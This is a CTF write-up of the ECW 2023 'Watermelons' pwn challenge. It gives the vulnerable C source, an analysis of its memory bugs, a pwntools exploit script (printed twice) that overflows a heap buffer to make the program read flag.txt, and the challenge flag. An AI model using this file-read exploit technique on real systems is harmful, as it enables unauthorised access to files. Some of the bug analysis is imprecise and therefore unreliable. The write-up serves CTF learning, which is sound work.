Skip to main content

[ECW] - Watermelons

·7 mins· 0 · 0 ·
CTF ECW PWN
JustinType
Author
JustinType
Cybersecurity Engineer and CTF Player
Table of Contents
ECW 2023 - This article is part of a series.
Part 6: This Article

Statement #


Statement

Usage #


When we use the program, we access a menu that offers to buy a watermelon (choice 1) or display the last watermelon (choice 2).

If we choose to buy a watermelon, we can then choose its variety, the number of watermelons we are going to buy, and finally if we want to gift them to someone.

If we decide to gift them to someone, we can then choose from 3 envelopes to contain our personalized message:

  • Small envelope = 16 bytes
  • Medium envelope = 32 bytes
  • Large envelope = 64 bytes

Usage

Display

Source Code #


In this challenge, we are also given the source code of the application:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char watermelon[32];
    char recipient[16];
    unsigned int msg_size;
    char* msg;
} Gift;

char* watermelons[] = {
    "Classic Watermelon",
    "Seedless Watermelon",
    "Yellow Watermelon",
    "Sugar Baby Watermelon",
    "Mini Watermelon"
};

const char n_watermelons = 5;

char *watermelon_file = NULL;

void gift_watermelon(char *watermelon_name) {
    
    int choice;
    unsigned int msg_size;

    Gift* gift = (Gift *)malloc(sizeof(Gift));
    memset(gift, 0, sizeof(Gift));

    strncpy(gift->watermelon, watermelon_name, strlen(watermelon_name));

    printf("\nWe have three different sizes of envelopes for a custom message:\n");
    printf("1. Small (16 bytes)\n");
    printf("2. Medium (32 bytes)\n");
    printf("3. Large (64 bytes)\n\n");

    printf("Which one would you like? ");
    scanf("%d", &choice);
    getchar();

    if (choice < 1 || choice > 3) {
        printf("Invalid envelope choice!");
        free(gift);
        return;
    }

    msg_size = 16 * (1 << (choice - 1));
    gift->msg_size = msg_size;

    printf("Who's the lucky recipient of this watermelon? ");
    scanf("%16s", gift->recipient);
    getchar();

    gift->msg = (char *)malloc(gift->msg_size);
    memset(gift->msg, 0, gift->msg_size);

    printf("Enter your message: ");
    fread(gift->msg, 1, msg_size, stdin);

    printf("Thank you for your purchase. We will carefully transport your gift to %s!\n", gift->recipient);
    printf("Message: %.*s\n\n", gift->msg_size, gift->msg);

    free(gift->msg);
    free(gift);

}

void buy_watermelon() {
    
    int choice;

    printf("\nA wide variety of watermelons awaits you:\n");
    for (int i = 0; i < n_watermelons; i++) {
        printf("%d. %s\n", i + 1, watermelons[i]);
    }
    
    printf("\nEnter the number of the watermelon you want to buy: ");
    scanf("%d", &choice);
    getchar();

    if (choice < 1 || choice > n_watermelons) {
        printf("Invalid watermelon choice!\n");
        return;
    }

    printf("Would you like to make this a gift for someone? (y/n) ");

    int is_gift = getchar();
    getchar();

    if ((char)is_gift == 'y') {
        gift_watermelon(watermelons[choice - 1]);
    } else {
        printf("Thank you for purchasing a %s!\n\n", watermelons[choice - 1]);
    }

}

void show_watermelon() {

    FILE *fptr;
    int c;

    if (watermelon_file == NULL) {
        watermelon_file = (char *)malloc(32);
        strcpy(watermelon_file, "watermelon.txt");
    }

    fptr = fopen(watermelon_file, "r");
    if (!fptr) {
        printf("Problem opening watermelon file (%s)\n", watermelon_file);
        return;
    }

    while ((c = fgetc(fptr)) != EOF) {
        printf("%c", c);
    };
  
    fclose(fptr);

}

void exit_shop() {
    printf("Goodbye!\n");
    exit(0);
}

int main() {
    
    int choice;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    while (1) {

        printf("========== Romy's Watermelons ==========\n");
        printf(">>>> Welcome, traveler, to my shop! <<<<\n");
        printf("1. Buy a watermelon\n");
        printf("2. Show the latest watermelon\n");
        printf("3. Exit\n");
        printf("========================================\n");

        printf("Enter your choice: ");
        scanf("%d", &choice);
        getchar();

        switch (choice) {
            case 1:
                buy_watermelon();
                break;
            case 2:
                show_watermelon();
                break;
            case 3:
                exit_shop();
            default:
                printf("Invalid choice!\n");
        }

    }

    return 0;

}

Source Code Analysis #


Here’s what the program does:

  1. Gift Structure:
    • Definition of a Gift structure representing a gift with the following properties:
      • watermelon: the watermelon name (32 bytes)
      • recipient: the recipient’s name (16 bytes)
      • msg_size: the size of the personalized message (2 or 4 bytes)
      • msg: the personalized message (between 16 and 64 bytes)
  2. Watermelon List:
    • A predefined list of five watermelon types
  3. gift_watermelon Function:
    • Asks the user to choose a watermelon from the list
    • Allows the user to choose the size of the personalized message (between 16 and 64 bytes)
    • Asks for the recipient’s name and reads a personalized message
    • Uses dynamic allocations to store gift information
  4. buy_watermelon Function:
    • Displays the available watermelon list
    • Asks the user to choose a watermelon to buy
    • Proposes the user to make the purchase a surprise (gift) by calling gift_watermelon
  5. show_watermelon Function:
    • Reads the content of a text file (assumed to contain information about the watermelon) and displays it
    • The filename is stored in watermelon_file, initialized to “watermelon.txt”
  6. exit_shop Function:
    • Displays a departure message and exits the program
  7. main Function:
    • Main program loop
    • Displays a menu with three options: buy a watermelon, show the latest watermelon, and exit
    • Asks the user to choose an option and executes the appropriate function based on the user’s choice

Three important observations:

  • When entering the recipient’s name in scanf("%16s", gift->recipient);, there is no control over the length of the input. If the user enters more than 16 characters, it will cause a buffer overflow in gift->recipient.
  • When a gift is created, memory is properly freed for the structure in free(gift), but the pointers are not set to NULL. This means that a user who creates multiple gifts will overwrite the first one.
  • Memory allocation for watermelon_file is not secure. The allocated size is 32 bytes, but the strcpy function is used to copy “watermelon.txt,” which has a length of 13 characters. This could lead to a buffer overflow if the length of the filename changes in the future.

Exploiting the Vulnerability #


We will start by creating a gift and allocating a 16-byte envelope where we can write whatever we want. In memory, we get the following:

Memory1

Then we will display the watermelon, and the program will add 32 bytes to read the content of the “watermelon.txt” file. In memory, we have:

Memory2

Now, if we create a second gift and give it a 64-byte envelope, these 64 bytes will overflow into the buffer of the old message msg (which was 16 bytes), the watermelon_file buffer (containing the name of the “watermelon.txt” file), and into another part of memory. So, we have:

Memory3

From the recipient buffer, we can write to the msg buffer, the watermelon_file buffer, and another part of memory.

A user could change the filename in the watermelon_file buffer and display any file present on the machine (e.g., flag.txt 😉).

Flag #


Here’s what we’re going to do by writing a program:

  1. Create a gift with a 16-byte envelope → in memory, a Gift structure is created.
  2. Display the watermelon → in memory, it adds 32 bytes for the watermelon_file buffer.
  3. Create a gift with a 64-byte envelope.
  4. Write to the msg and watermelon_file buffers to replace the filename to display.
from pwn import *

def main():
    r = remote("instances.challenge-ecw.fr", 42618)

    # Buy a watermelon
    r.sendline(b"1")

    # Select a variety (doesn't matter at all)
    r.sendline(b"1")

    # Yes, make a gift
    r.sendline(b"y")

    # Select an envelope size of 16 bytes
    r.sendline(b"1")

    # Recipient name (doesn't matter here)
    r.sendline(b"ecw2023")

    # Message (doesn't matter here either)
    r.sendline(b"A"*15)

    # Show watermelon
    r.sendline(b"2")

    # Buy a watermelon again
    r.sendline(b"1")

    # Select a variety (doesn't matter at all)
    r.sendline(b"1")

    # Yes, make a gift
    r.sendline(b"y")

    # Select an envelope size of 64 bytes
    r.sendline(b"3")

    # Here we fulfill the recipient buffer
    r.sendline(b"A"*16)

    # Here we are writing 64 bytes in a 16 bytes buffer on the heap
    r.send(b"A"*32) # The first 32 bytes don't matter until we reach the filename buffer
    r.send(b"flag.txt") # We inject "flag.txt" in the filename buffer
    r.send(b"\x00") # It's important to add a null byte so the program won't read anything else than "flag.txt"
    r.sendline(b"A"*23) # Filling the last bytes to read the whole 64 bytes

    # Print the flag (because now the program will print "flag.txt")
    r.sendline(b"2")

    # Exit
    r.sendline(b"3")

    r.interactive()

if __name__ == "__main__":
    main()


```python
from pwn import *

def main():
    r = remote("instances.challenge-ecw.fr", 42618)

    # Buy a watermelon
    r.sendline(b"1")

    # Select a variety (doesn't matter at all)
    r.sendline(b"1")

    # Yes make a gift
    r.sendline(b"y")

    # Select an enveloppe size of 16 bytes
    r.sendline(b"1")

    # Recipient name (doesn't matter here)
    r.sendline(b"ecw2023")

    # Message (doesn't matter here either)
    r.sendline(b"A"*15)

    # Show watermelon
    r.sendline(b"2")

    # Buy a watermelon again
    r.sendline(b"1")

    # Select a variety (doesn't matter at all)
    r.sendline(b"1")

    # Yes make a gift
    r.sendline(b"y")

    # Select an enveloppe size of 64 bytes
    r.sendline(b"3")

    # Here we fullfill the recipient buffer
    r.sendline(b"A"*16)

    # Here we are writing 64 bytes in a 16 bytes buffer on the heap
    r.send(b"A"*32) # The first 32 bytes doesn't matter until we reach the filename buffer
    r.send(b"flag.txt") # We inject "flag.txt" in the filename buffer
    r.send(b"\x00") # It's important to add a null byte so the program won't read anything else than "flag.txt"
    r.sendline(b"A"*23) # Filling the last bytes to read the whole 64 bytes

    # Print the flag (cause now the program will print "flag.txt")
    r.sendline(b"2")

    # Exit
    r.sendline(b"3")

    r.interactive()

if __name__ == "__main__":
    main()

Here is a the live demo of the exploit :

Flag

🚩 Flag : ECW{r0mys_w4t3rm3l0ns_d353rv3_a_5-st4r_r3v13w}

ECW 2023 - This article is part of a series.
Part 6: This Article